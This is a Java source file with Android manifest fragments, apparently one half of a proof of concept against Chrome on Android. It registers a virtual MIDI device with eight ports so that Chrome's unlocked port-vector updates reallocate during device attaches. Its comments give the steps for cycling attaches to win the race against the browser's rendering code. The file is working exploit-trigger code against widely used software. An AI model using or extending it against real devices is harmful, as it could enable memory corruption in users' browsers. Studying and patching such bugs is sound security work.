// Coordinating local app — the UI-thread half of the race.
//
// Register this as an Android virtual MIDI device. Each time the OS opens it,
// Chrome's MidiManager.DeviceCallback.onDeviceAdded fires on the UI Looper,
// which calls MidiManagerAndroidJni.onAttached -> C++ OnAttached -> AddDevice
// -> all_output_ports_.push_back() with NO LOCK HELD.
//
// Advertising 8 output ports per device guarantees the std::vector crosses a
// power-of-two capacity boundary (and thus reallocates its backing buffer)
// on essentially every attach after the first.
//
// To cycle attaches programmatically, have a companion Activity toggle this
// service's <service android:enabled> via PackageManager.setComponentEnabledSetting
// in a loop, or physically replug a USB-MIDI device with >=2 output ports.

package com.example.midirace;

import android.media.midi.MidiDeviceService;
import android.media.midi.MidiReceiver;

public class MidiSpamService extends MidiDeviceService {
    // Chrome iterates getPorts() and treats each PortInfo.TYPE_INPUT as a
    // *renderer-visible output* port (MidiDeviceAndroid.java). 8 of them
    // forces vector reallocation past size==1,2,4,8.
    @Override
    public MidiReceiver[] onGetInputPortReceivers() {
        MidiReceiver[] r = new MidiReceiver[8];
        for (int i = 0; i < r.length; i++) {
            r[i] = new MidiReceiver() {
                @Override public void onSend(byte[] msg, int off, int cnt, long ts) {}
            };
        }
        return r;
    }
}

/* AndroidManifest.xml fragment:

<service android:name=".MidiSpamService"
         android:permission="android.permission.BIND_MIDI_DEVICE_SERVICE"
         android:exported="true">
  <intent-filter>
    <action android:name="android.media.midi.MidiDeviceService"/>
  </intent-filter>
  <meta-data android:name="android.media.midi.MidiDeviceService"
             android:resource="@xml/midi_device_info"/>
</service>

res/xml/midi_device_info.xml:

<devices>
  <device manufacturer="poc" product="race" name="race">
    <input-port name="o0"/><input-port name="o1"/><input-port name="o2"/>
    <input-port name="o3"/><input-port name="o4"/><input-port name="o5"/>
    <input-port name="o6"/><input-port name="o7"/>
  </device>
</devices>
*/
